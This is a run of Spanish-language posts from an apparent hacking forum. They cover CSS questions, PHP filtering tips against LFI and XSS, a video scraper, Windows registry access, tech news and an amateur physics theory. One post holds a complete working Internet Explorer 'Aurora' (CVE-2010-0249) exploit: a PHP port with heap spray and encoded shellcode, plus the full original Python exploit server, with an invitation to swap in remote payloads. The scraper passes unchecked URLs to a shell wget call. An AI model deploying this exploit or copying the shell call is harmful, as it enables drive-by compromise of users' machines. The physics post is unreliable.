Hay mucha gente que me dice que les gustaría saber tanto como yo, y a todos les digo lo mismo, lo que yo se lo puede saber cualquiera, de hecho hay gente que sabe infinitamente mas que yo, pero la clave está en saber pedir y pedir creyendo, entregar tu vida y tener confianza en Dios, la palabra dice que todo el que le pide conocimiento y sabiduría no se lo niega y se lo da en abundancia, cada ves que realizo un trabajo antes de posar mis manos sobre un teclado le pido a Dios que me ayude y me enseñe porque yo por mi mismo no lo puedo hacer, y es verdad, cada ves que no lo pido me bloqueo y no me salen bien las cosas, pero cuando pido por mas difícil que sea la tarea me salen bien sin ningún problema, gracias a eso todas las puertas se me han abierto, es impresionante ver como suceden las cosas todos los días de la manera menos esperada. ¿he hecho cosas malas?, claro que si y de todas ellas estoy arrepentido.

Con el pasar de los años pasé de trabajar en sodimac vendiendo tornillos a revisar la seguridad de los sitios bancarios cuando una compañía me contrató al encontrar una vulnerabilidad en un portal bancario del cual ellos tenían a cargo.

Hoy, junto a otras personas que me dieron su apoyo formamos nuestra propia compañía de seguridad informática llamada Oznet Cyber Security y nos ha ido muy bien, evangelizamos a las compañías explicándoles la diferencia entre hacer correr un software automatizado como acunetix en búsqueda de vulnerabilidades a hacerlo de la manera manual y eso nos ha dado una muy buena reputación, nuestros resultados son mucho mejores que la competencia, los clientes se sienten felices, los que trabajan conmigo en la compañía también están felices y claro... yo también me siento feliz :)

Todos los días me siento en mi oficina viendo como cae el sol y la luz entra alumbrando todo el lugar de color naranjo, a veces salgo de mi pc y me pongo de pie mirando hacia afuera y recuerdo cuando comenzó todo y me doy cuenta que se puede, claro que si, se puede. Todo está en saber hacer lo correcto y saber confiar en aquel que tiene todos los recursos, todos los contactos, todas las puertas, todo el conocimiento, ese es Dios, el es el que me ha enseñado gran parte de las cosas, no todo lo aprendí leyendo, muchas cosas de las que encuentro nunca las verás en un documento o en un papper.

Conozco a mucha gente que se gana la vida robando la información de las personas, yo aprendí que puedes llegar mucho mas lejos que eso, un gran conocimiento requiere una gran responsabilidad, si yo lo quisiera podría dejar en la banca rota a la mitad del país pero hay que tener en claro que la vida no es el dinero, la tranquilidad no la puedes comprar, a demás gano muy buen dinero haciendo lo mismo pero de manera legal a través de contratos y las personas que usan los servicios por internet todos los días también son beneficiadas.

¿Quieren conocer?, esta es mi oficina:



¿Aun con dudas de hacer lo correcto?, ¿conoces la historia de SDC?, pues es un moderador global de este mismo foro que también comenzó encontrando vulnerabilidades en algunos sistemas de Yahoo, trabajó con ellos, luego en Alibabá y hoy trabaja en el área de seguridad informática en Google.

Tener una vida entrando en servidores bancarios robándole el dinero a la gente o vulnerando servidores de correos para vendérselo a otros gobiernos es excitante, te va a dar mas adrenalina en un día que subirte a la montaña rusa mas grande del mundo pero va a destrozar tu vida y nadie te va a pagar la tranquilidad de tu consciencia o saber que cualquier día podrás terminar en la cárcel  y ensuciar tu nombre por el resto de tus días, tener una familia, tres hijos, poder comprar cosas de manera tranquila y vivir sabiendo que estás haciendo lo correcto ganando todo el dinero que siempre quisiste no tiene precio ni encontrarás un tutorial para ello, todo está en saber tomar la decisión correcta.
#249
Desarrollo Web / align="center" en css
30 Diciembre 2011, 14:07 PM
Estaba averiguando que no es lo mismo decir align="center" a decir style="text-align: center;".

Digamos que tengo el siguiente ejemplo:
Código (html4strict) [Seleccionar]

<div style="text-align: center;">
<div style="text-align: left; width: 50%; border: 1px solid black;">Hola  </div>
</div>


No me centra la división pero si los textos y yo no quiero centrar los textos sino la división, por lo cual tube que poner un text-align left y align:

Código (html4strict) [Seleccionar]

<div align="center">
<div style="text-align: left; width: 50%; border: 1px solid black;">Hola  </div>
</div>


Ahi si funciona.


Entonces en resumidas cuentas ¿cual es mi pregunta?...
Como puedo hacer un align="center" solo con css? ya que antes usaba <center> pero me di cuenta leyendo el rfc de html que está deprecated o sea obsoleto asi que lo reemplazé por align center, pero y si quiero controlar esas cosas atraves de hojas de estilo como lo puedo hacer?

Intenté poniendo position relative y tmpoco funciona, la única manera es en firefox con moz-box y ahi se centra bién pero la idea es hacerlo en los demás exploradores también (internet explorer no me interesa, es un caso perdido, un asco de explorador, pero por lo menos que ande en opera y chrome).

Gracias para el que pueda darme una mano :)
#250
Quiero comenzar abriendo este post para poder ir poniendo todos los cast o parser mas utiles para filtrar strings, objetos, etc de la mejor forma posible y no tener que andar buscando de un lugar para otro.

Información adicional de casting básico:
http://php.net/manual/es/language.types.type-juggling.php
http://foro.elhacker.net/nivel_web/como_evitar_la_inyeccion_sql-t252384.0.html



A veces necesitamos llamar a un archivo desde peticiones get o post y debemos evitar LFI, una forma es haciendo un file_exists() y preg match de esta forma:

Código (php) [Seleccionar]
<?php
if(file_exists($file './module/'.preg_replace('|[^A-Za-z0-9_\-]|i'''$_GET['file']).'.php'))
include($file);
unset(
$file);
?>


El problema es que siempre queda la posibilidad de bypasear los strings o meterse donde uno no debe, talves un archivo restringido como llamar al index.php principal, por eso desde hace algún tiempo estoy utilizando algo muchisimo mas limpio y efectivo y evita el 100% de los ataques LFI y RFI:

Código (php) [Seleccionar]
<?php
if(in_array(($file './module/'.$_GET['file'].'.php'), glob('./module/*.php')))
include($file);
?>


De esta forma la función glob() nos dará un array con todas las rutas que contengan un archivo php dentro del directorio módulos, asi que si tratamos de hacer un LFI nos dará negativo siempre:

Código (php) [Seleccionar]
<?php
$files 
glob('./module/*.php')
echo 
'./module/'.$_GET['file'].'.php es igual a '.$files[0].' ???';
?>


Citar./module/../../../../config/config.php es igual a ./module/main.php ???



Siempre he visto en varios post dentro del foro sobre como saber si un string es una dirección e-mail o no, pues fácil:
Código (php) [Seleccionar]
filter_var('test@gmail.com', FILTER_VALIDATE_EMAIL)

Debuelve true o false.



Alguna ves has necesitado ingresar una string dentro de un tag <script> sin que te salga un xss?

Digamos que tengo esto:
Código (php) [Seleccionar]
<script>
var test = '<?php echo addslashes(htmlspecialchars($_GET['test'], ENT_QUOTES)); ?>';
</script>


Dejemne decirles que los que utilizan addslashes o htmlspecialchars están expuestos a un xss o a que simplemente no funcione siempre bién ya que addslashes y htmlspecialchars no filtran cosas como saltos de linea, parentesis y comentarios, por lo tanto con un simple %0a%0d puedes comenzar a inyectar código arbitrario.

Que hacemos en este caso?
Lo que google hace es pasar todo a unicode y los carácteres especiales quedan algo así: \u0010, pero yo lo hago de una forma mucho mas efectiva, limpia y con menos bites:

Código (php) [Seleccionar]
<script>
var test = '<?php echo str_replace(array('+''%'), array(' ''\x'), urlencode($_GET['test'])); ?>';
</script>


De esta forma todos los carácteres especiales incluyendo saltos de linea quedarán así:

Código (php) [Seleccionar]
<script>
var test = '\x0a\x0cprueba de caracteres\x3c\x22';
alert(test);
</script>


La ventaja es que javascript interpreta de forma nativa los valores hexadecimales los pases a comillas simples o a comillas dobles asi que podrás seguirlo usando tan normal como siempre:

Código (php) [Seleccionar]

<div></div>
<script>
var test = '\x0a\x0cprueba de caracteres\x3c\x22';
$('div').text(test);
</script>
#251
Estaba revisando el CVE:
http://technet.microsoft.com/en-us/security/advisory/979352

Es una falla de internet explorer 7 y 8 de ejecución remota de código.
Encontré un código de ejemplo en packetstorm pero en python llamado "aurora" asi que lo estudié y lo migré a php para ejecutarlo de forma online en servidores webs, solo basta con modificar el payload para jugar un poco con recursos remotos .js autoejecutables.

Testeado en virtual con windows 7 internet explorer 8 y windows xp internet explorer 6.

Código (php) [Seleccionar]
<?php
if(isset($_GET['aurora'])){
header('Content-Type: image/gif');
echo "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff".
"\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44".
"\x01\x00\x3b";
exit;
}

function 
convert_to_utf16($payload){
$enc_payload '';
foreach(range(0strlen($payload), 2) as $i){
$num 0;
foreach(range(02) as $j){
$num $num + ((ord($payload[$i $j]) & 0xff) << ($j 8));
}
if($num 0)
$enc_payload .= ('%%u%04x' $num);
}
return $enc_payload;
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<script>
var obj, event_obj;

function spray_heap(){
var chunk_size, payload, nopsled;
chunk_size = 0x80000;
payload = unescape("<?php echo convert_to_utf16(
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73".
"\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e".
"\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a".
"\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97".
"\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56".
"\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85".
"\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1".
"\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85".
"\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02".
"\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e".
"\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61".
"\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e"
); ?>
");
nopsled = unescape("%u0a0a%u0a0a");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);        
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 200 ; i++)
heap_chunks[i] = nopsled + payload;
}

function initialize(){
obj = new Array();
event_obj = null;
for (var i = 0; i < 200 ; i++ )
obj[i] = document.createElement("COMMENT");
}
       
function ev1(evt){
event_obj = document.createEventObject(evt);
document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 1);
}

function ev2(){
var data, tmp;
data = "";
tmp = unescape("%u0a0a%u0a0a");
for (var i = 0 ; i < 4 ; i++)
data += tmp;
for (i = 0 ; i < obj.length ; i++ )
obj[i].data = data;
event_obj.srcElement;
}

function check(){
if (navigator.userAgent.indexOf("MSIE") == -1)
return false;
return true;  
}

if(check()){
initialize();
spray_heap();              
}else
window.location = "about:blank";
</script>
</head>
<body>
<span id="sp1">
<img src="?aurora" onload="ev1(event);">
</span>        
</body>
</html>


El exploit original en python:
http://packetstormsecurity.org/1001-exploits/ie_aurora.py.txt
Código (python) [Seleccionar]
#
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   This program acts as a web server that generates an exploit to
#   target a vulnerability (CVE-2010-0249) in Internet Explorer.
#   The exploit was tested using Internet Explorer 6 on Windows XP SP2.
#   The exploit's payload spawns the calculator.
#
#   Usage  : python ie_aurora.py [port number]
#  

import sys
import socket

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
       
class RequestHandler(BaseHTTPRequestHandler):

   def convert_to_utf16(self, payload):
       enc_payload = ''
       for i in range(0, len(payload), 2):
           num = 0
           for j in range(0, 2):
               num += (ord(payload[i + j]) & 0xff) << (j * 8)
           enc_payload += '%%u%04x' % num
       return enc_payload

   def get_payload(self):
       # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
       # http://metasploit.com
       payload  = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
       payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
       payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
       payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
       payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
       payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
       payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
       payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
       payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
       payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
       payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
       payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
       return self.convert_to_utf16(payload)
   
   def get_exploit(self):
       exploit = '''
       <html>
       <head>
           <script>
           
           var obj, event_obj;
           
           function spray_heap()
           {
               var chunk_size, payload, nopsled;
           
               chunk_size = 0x80000;
               payload = unescape("<PAYLOAD>");
               nopsled = unescape("<NOP>");
               while (nopsled.length < chunk_size)
                   nopsled += nopsled;
               nopsled_len = chunk_size - (payload.length + 20);        
               nopsled = nopsled.substring(0, nopsled_len);
               heap_chunks = new Array();
               for (var i = 0 ; i < 200 ; i++)
                   heap_chunks[i] = nopsled + payload;
           }
       
           function initialize()
           {
               obj = new Array();
               event_obj = null;
               for (var i = 0; i < 200 ; i++ )
                   obj[i] = document.createElement("COMMENT");
           }
       
           function ev1(evt)
           {
               event_obj = document.createEventObject(evt);
               document.getElementById("sp1").innerHTML = "";
               window.setInterval(ev2, 1);
           }
     
           function ev2()
           {
               var data, tmp;
               
               data = "";
               tmp = unescape("%u0a0a%u0a0a");
               for (var i = 0 ; i < 4 ; i++)
                   data += tmp;
               for (i = 0 ; i < obj.length ; i++ ) {
                   obj[i].data = data;
               }
               event_obj.srcElement;
           }
                   
           function check()
           {
               if (navigator.userAgent.indexOf("MSIE") == -1)
                   return false;
               return true;  
           }
           
           if (check()) {
               initialize();
               spray_heap();              
           }
           else
               window.location = 'about:blank'
               
           </script>
       </head>
       <body>
           <span id="sp1">
           <img src="aurora.gif" onload="ev1(event)">
           </span>        
       </body>
       </html>
       '''
       exploit = exploit.replace('<PAYLOAD>', self.get_payload())
       exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
       return exploit

   def get_image(self):
       content  = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
       content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
       content += '\x01\x00\x3b'
       return content

   def log_request(self, *args, **kwargs):
       pass
       
   def do_GET(self):
       try:
           if self.path == '/':
               print
               print '[-] Incoming connection from %s' % self.client_address[0]
               self.send_response(200)
               self.send_header('Content-Type', 'text/html')
               self.end_headers()
               print '[-] Sending exploit to %s ...' % self.client_address[0]
               self.wfile.write(self.get_exploit())
               print '[-] Exploit sent to %s' % self.client_address[0]
           elif self.path == '/aurora.gif':      
               self.send_response(200)
               self.send_header('Content-Type', 'image/gif')
               self.end_headers()
               self.wfile.write(self.get_image())
       except:
           print '[*] Error : an error has occured while serving the HTTP request'
           print '[-] Exiting ...'
           sys.exit(-1)
           
                     
def main():
   if len(sys.argv) != 2:
       print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
       sys.exit(0)
   try:
       port = int(sys.argv[1])
       if port < 1024 or port > 65535:
           raise ValueError
       try:
           serv = HTTPServer(('', port), RequestHandler)
           ip = socket.gethostbyname(socket.gethostname())
           print '[-] Web server is running at http://%s:%d/' % (ip, port)
           try:
               serv.serve_forever()
           except:
               print '[-] Exiting ...'
       except socket.error:
           print '[*] Error : a socket error has occurred'
       sys.exit(-1)    
   except ValueError:
       print '[*] Error : an invalid port number was given'
       sys.exit(-1)
           
if __name__ == '__main__':
   main()
#252
A veces necesitamos hacer un sleep sin utilizar setinterval o settimeout, me ha pasado a mi por diferentes motivos y se me ocurrió hacer un pequeño script que utiliza animaciones para retardar la ejecución del resto del código, se que no es algo nuevo pero talves le pueda servir a algunos

Código (html4strict) [Seleccionar]
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
</head>
<body>
<script>
$(document).ready(function(){
function check(){
/* Mi código acá */

/* sleep */
$('#sleep').fadeOut('slow', function(){
$('#sleep').fadeIn('slow', check());
});
}
check();
});
</script>
Verificando <span id="sleep">_</span>
</body>
</html>


Un reloj con esto:
Código (html4strict) [Seleccionar]
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script>
</head>
<body>
<script>
$(document).ready(function(){
function check(){
var h = new Date();
$('#reloj').text(h.getHours() + ':' + h.getMinutes() + ':' + h.getSeconds());
/* sleep */
$('#sleep').fadeOut(1000, function(){ /* 1 segundo de intervlo */
$('#sleep').fadeIn(0, check());
});
}
check();
});
</script>
Reloj: <span id="reloj"></span> <span id="sleep"></span>
</body>
</html>


Saludos.
#253
Uno se encuentra con cada cosa cuando enciende la pc xD



Los que tengan una cuenta de twitter recuerden nunca dar datos cuando te los soliciten por correo y pongan siempre contraseñas seguras, por lo menos de 7 carácteres con letras y números.
#254
Foro Libre / A Facebook no le agrada firefox?
30 Noviembre 2011, 18:03 PM
No es la primera ves, ya muchas veces que uno quiere ver facebook pareciera que la hoja de estilo no existe y se ve todo mal, solo textos sueltos o se desconfiguran los bloques.

A pesar de que esto suceda una ves al mes o menos lo raro es que solamente le afecta a mozilla firefox y no es un problema de caché.



Será algo relacionado con la alianza de microsoft y facebook? habrán "incentivos" para que facebook decida hacer que la gente cambie de explorador?

La consola de errores de firefox se dispara cuando cargo la página:
CitarError: CSS is not defined Código Fuente: http://www.facebook.com/ Linea: 19
Error: Bootloader is not defined Código Fuente: http://www.facebook.com/ Linea: 20
Error: BigPipe is not defined Código Fuente: http://www.facebook.com/ Linea: 27
Error: Arbiter is not defined Código Fuente: http://www.facebook.com/ Linea: 63
Error: Image corrupt or truncated: <unknown> Código Fuente: <unknown> Linea: 0
....

Es normal que tengan fallas o estén arreglando partes, pero que solo ocurra con firefox? no será un intento de sepultar a uno de sus mayores competidores?
#255


Me pasaron un motorola de un amigo porque le actualizaron el firmware y ahora no funciona el wifi, dice que no se pudo iniciar el dispositivo.

Quería volver a instalar otro rom pero me ha costado trabajo encontrar algo que le pueda servir.

Encontré esta web:
http://and-developers.com/sbf:mb502

Me bajé el rom version Blur_Version.0.2.6005.MB502.T-Mobile.en.US
El original que tiene este cel es Blur_version.0.0.2397.MB502.TELUS.en.CA

Pero cuando lo reinicio y entro a la consola de recuperación le marco la opción que dice
apply sdcard:update.zip


y cominzan a salir letras amarillas muy rapidisimo y al final vuelve al mismo menú despues de 2 segundos y no alcanzo a ver nada de lo que decia y no se puede bajar la pantalla.

Le puse el rom en un zip con el nombre de update y sin comprimir también con el mismo nombre pero no pasa nada :-/

Alguien sabe que estoy haciendo mal o que puedo hacer al respecto?, he encontrado muy poca información sobre el reseteo del mb502, igual traté de darle la opción de volver a estado de fabrica desde el mismo menú de recuperación y se resetea todo menos el sistema operativo.
#256
Estaba viendo dragon ball desde dblatino.com y vi que casi todos los enlaces tienen el mismo formato y visualización y 4shared tiene visualización directa de archivos flv asi que hize un script y estoy descargando todos los archivos  :D

Talves le sirva a alguien si quieren tenerlo en sus sevidores para no tener que andar haciendo streaming

Lo único que hay que hacer es crear un directorio llamado "out" al lado del archivo php y darle permisos de escritura.
El script se ejecuta preferentemente desde la consola

Código (php) [Seleccionar]
<?php
set_time_limit 
(0);
ini_set('memory_limit','16M');

echo 
"\nCargando configuraciones y creando enlaces...\n";

echo 
".";
/* Matriz de enlaces */
$enlaces = array(
array(
'base_url' => 'http://www.dblatino.com/dbz/',
'limite' => 291
),
array(
'base_url' => 'http://www.dblatino.com/db/',
'limite' => 153
)
);

/* Matiz de enlaces compuestos */
foreach($enlaces as $enlace){
$links = array();
for($cuenta 1$cuenta <= $enlace['limite']; $cuenta++){
echo ".";
$links[] = array(
'href' => $enlace['base_url'].(int)$cuenta.'.htm',
'out' => (int)$cuenta.'.flv'
);
$links[] = array(
'href' => $enlace['base_url'].(int)$cuenta.'b.htm',
'out' => (int)$cuenta.'b.flv'
);
}
unset($enlace);
}
unset(
$enlaces);



echo 
"\nProcesando enlaces...\n";
foreach(
$links as $enlace){
echo "Procesando ".$enlace['href']." ...\n";
$buffer file_get_contents($enlace['href']);
/* Es 4shared? */
if(str_replace('4shared.com'''$buffer) != $buffer){
$buffer explode('<embed src="http://www.4shared.com/'$buffer);
$buffer explode('"'$buffer[1]);
$buffer 'http://www.4shared.com/'.$buffer[0];

/* Solicita la url del flv */
echo "    Solicitando enlace real *.flv...\n";
file_get_contents(
$buffer,
false,
stream_context_create(array('http' => array('method' => 'HEAD')))
);

/* Filtra la redirección */
foreach($http_response_header as $header){
$head explode(': '$header);
if(strtolower($head[0]) == 'location'){
$buffer $head[1];
break;
}
unset($head$header);
}

if(substr($buffer014) == 'http://static.'){ /* Es stream? */
$buffer explode('streamer='$buffer);
$buffer explode('.flv'$buffer[1]);
$buffer $buffer[0].'.flv';

/* Obtiene el video */
echo "    Descargando el video...\n";
system('wget '.$buffer.' -O "'.dirname(__file__).'/out/'.$enlace['out'].'"');
if(file_exists(dirname(__file__).'/out/'.$enlace['out']))
echo "    Video descargado y guardado correctamente.\n";
else
echo "    Imposible descargar archivo.\n";
/*
if($buffer = file_get_contents($buffer)){
// Guarda el video
echo "    Guardando...\n";
if(file_put_contents(dirname(__file__).'/out/'.$enlace['out'], $buffer))
echo "    Video descargado y guardado correctamente.\n";
else
echo "    Imposible guardar el archivo.\n";
unset($buffer); // Libera la memoria
}else
echo "    Imposible descargar archivo.\n";
*/
}else
echo "    Imposible pharsear redireccion.\n";
}else
echo "    El enlace no es 4shared.\n";

unset($enlace);
}
unset(
$links);

?>


Preferí usar wget para poder ir viendo el progreso de descarga y evitar sobrecargas.
Si alguien lo quiere hechar a correr en una pc con windows puede adjuntar el wget.exe que por ahi anda en internet.
Enjoy.
#257
Siempre he hecho aplicaciones en .net descargando archivos pero ahora necesito si o si que no se me frize el form mientras se descarga algo.

Normalmente cuando ejecutas request.GetResponse() en un objeto WebRequest el form se congela y cuando finaliza la respuesta del servidor ahi recién se descongela.

Recuerdo hace años que en vb6 eso no pasaba, uno porque usabas control de usuarios para los sockets y todo era con subs en hilos de proceso y con inet tampoco se frizaba el form, simplemente la función no continuaba pero no comprometía el form.

Como lo hago en .net?

Por ahora hize un pequeño código:
Código (vbnet) [Seleccionar]
Imports System.IO
Imports System.Net

Public Class Form1

   Private Sub SalirToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SalirToolStripMenuItem.Click
       End
   End Sub

   Private Sub ConectarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ConectarToolStripMenuItem.Click
       Timer1.Enabled = True
       Timer1.Start()
   End Sub

   Private Sub Process_data(ByVal Data As String)
       ' Constructor...
   End Sub

   Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       Estado.Text = "Conectando ..."
       Application.DoEvents()
       ' Create a request for the URL.
       Dim request As WebRequest = WebRequest.Create("http://wordpress.org/latest.zip")
       ' If required by the server, set the credentials.
       request.Credentials = CredentialCache.DefaultCredentials
       ' Get the response.
       Dim response As HttpWebResponse = CType(request.GetResponse(), HttpWebResponse)
       ' Display the status.
       Console.WriteLine(response.StatusDescription)
       ' Get the stream containing content returned by the server.
       Dim dataStream As Stream = response.GetResponseStream()
       ' Open the stream using a StreamReader for easy access.
       Dim reader As New StreamReader(dataStream)
       ' Read the content.
       Dim responseFromServer As String = reader.ReadToEnd()
       ' Display the content.
       Dim Content As String = responseFromServer
       ' Cleanup the streams and the response.
       reader.Close()
       dataStream.Close()
       response.Close()
       Process_data(Content)
       Estado.Text = "Datos obtenidos"
   End Sub

   Private Sub DesconectarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DesconectarToolStripMenuItem.Click
       Timer1.Enabled = False
       Timer1.Stop()
   End Sub
End Class


Realmente puse ese zip como ejemplo pero en la práctica será un chat y no quiero que rapte el form mientras descarga las actualizaciones cada 4 segundos de un xml.

También intenté con
Código (vbnet) [Seleccionar]
Response.GetResponseStream().Read(...
Me puse a leer de a 1024 bytes con un application.doevents() pero aun asi, igual se friza el form mientras hace las consultas.
#258
Un cruce de competencias entre sistemas operativos podría afectar a Linux con la llegada de Windows 8, cuya instalación en cualquier PC podría impedirse tras la certificación del nuevo sistema operativo de Microsoft.

  Esto es debido a que los ordenadores personales diseñados para Windows 8 utilizarán un hardware basado en un nuevo protocolo de arranque, conocido como Unified Extensible Firmware Interface.

  UEFI es una nueva generación de arranque alternativa al estándar BIOS, que previene que se carguen sistemas operativos que no estén aprobados oficialmente por una autoridad certificadora. Esto afecta tanto a fabricantes de software como de hardware, según explica un desarrollador de Red Hat, Matthew Garrett en su blog.

  En esencia, esta tecnología está diseñada para proteger contra 'rootkits' y otros ataques de bajo nivel mediante la restricción de ejecutables y controladores que no lleven la firma dedicada a UEFI, según indica Microsoft en una presentación de Windows 8.

  Esto supondría que los equipos que lleven certificados para el uso de Windows 8 con UEFI, se verían obligados a bloquear el arranque e instalación de otros sistemas operativos, como Linux, hasta que Microsoft los considere como seguros.

  La medida también afectaría a sistemas que utilicen su propia 'kernel' (núcleo), según explica Garrett.

  Esta posible restricción de entrada a otros sistemas como Linux, podría reactivar el debate sobre el cruce de competencias en el mercado informático.

  De momento, se desconoce si Microsoft proveerá a los vendedores soporte de 'firmware' capaz de deshabilitar esta opción, y ejecutar código de otros fabricantes.

Fuente:
http://www.europapress.es/portaltic/software/noticia-windows-podria-impedir-instalacion-linux-20110922133913.html
#259
Aún no tenemos CPUs de doble nucleo en un iPhone, aunque si en el iPad – pero ya se han encontrado referencias en Xcode a procesadores de hasta cuatro núcleos, basados en la arquitectura ARM que mueve los dispositivos iOS de Apple. Xcode es la principal herramienta de desarrollo de software utilizada por Apple en su SDK (y por ende por los desarrolladores de Apps para iOS) y el soporte para este tipo de procesador, probablemente quiera decir que existen prototipos de dispositivos iOS en Apple que tienen una CPU de cuatro núcleos, o incluso que existen Macbooks con CPUs ARM, que es otra de las posibilidades (Aunque mucho más remota).



Lo que vemos sobre estas líneas, son referencias a un tipo de arquitectura ARM llamada armv7k y un tipo de CPU pj4b, que resumiendo, se trata de un procesador ARM de nueva arquitectura y cuatro núcleos. Antes de que nadie se piense cosas raras, no existe la más remota posibilidad de que presenten un iPhone de cuatro núcleos este año, así que nadie sueñe con eso (todavía ;) ) porque este pequeño hallazgo sólo significa que ya se pueden compilar programas para esta arquitectura de ARM, incluso si el hardware aún no existe.

Fuente:
http://blog.drawcoders.com/2011/09/26/soporte-para-cpus-de-cuatro-nucleos-encontrado-en-xcode/
#260

El deseo de muchos en las redes sociales parece convertirse en realidad.  En Japón, una campaña de publicidad montada en un shopping del barrio de Ginza, Tokio, muestra fotos de Rumi Neely, una blogger estadounidense de origen nipón.

Cada foto tiene un contador y un botón físico que dice "Me Gusta", el cual puede ser oprimido por cualquier persona que quiera y así sumar "Likes" a la imagen.

La idea de la campaña fue creada por el fotógrafo de moda Leslie Kee junto a la bloguera Neely y muestra una colección de 20 imágenes de la bloguera fashion, lo que parece haber sido un éxito rotundo para las ávidas consumidoras de moda japonesas.



Fuente:
http://blog.drawcoders.com/2011/09/26/en-japon-ya-existe-un-boton-%E2%80%9Cme-gusta%E2%80%9D-en-la-vida-real/
#261
PHP / Windows + Registro del sistema + php (sin exec)
25 Septiembre 2011, 04:12 AM
Estaba viendo algunas funciones que permitirían obtener y establecer llaves de registro en windows desde php pero todas las alternativas que siempre vi fueron de utilizar exec con el comando "reg", pero el problema es que cuando quieres utilizar php en modo consola siempre ves ventanas extras abriendose.

Encontré una forma mucho mas directa de consultar estos datos sin la necesidad de enviar argumentos a la consola de comandos.

Código (php) [Seleccionar]
<?php
$key 
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\eRhema";

$wsh = new COM("WScript.Shell");
$phpobj $wsh->RegRead($key);

print_r($phpobj);
?>


A mas de alguno le puede servir.

No sabia que puedes utilizar directamente el componente wscript en php, está super bueno para llamar apis sobre windows sin la necesidad de usar dl() con librerias externas no nativas.
#262
Hola, estaba buscando por internet como crear un proyecto con directx y crear formas, lineas etc para hacer figuras 3d animadas.

Lo que pude encontrar es que debes agregar las importaciones necesarias:
Imports Microsoft.DirectX
Imports Microsoft.DirectX.Direct3D

Pero además agregar la referencia a Microsoft.DirectX, el problema es que no la encuentro.

Proyecto > agregar referencia > ???

No encuentro Microsoft.DirectX, tampoco .net.Microsoft.DirectX ni nada referente a directx.

Tengo que instalar algo extra?

Todos los tutoriales que encontré en ingles y español solo salen que debo agregar las referencias pero yo no las tengo.

Utilizo Microsoft Visual Basic 2005.
Si alguien sabe como hacerlo en c# igual me puede servir, la idea solamente es como agrego esas referencias o como encontrar dichas dll o como descargar el complemento.
#263
La teoría del embudo (viaje de la luz)
Esta teoria no la he sacado de ningún otro lado.

Atraves de esta teoría podremos respondernos preguntas tales como:

  • ¿Cómo viaja la luz? (efecto embudo)
  • ¿Podemos ir mas rápido que la luz? (si)
  • ¿Porqué a mayor velocidad la masa aumenta? (cueyo de embudo)



¿Que sucedería si la luz no fuera recta sino curva?
La luz al viajar desforma el espacio al igual que un agujero negro:


La diferencia es el tamaño.


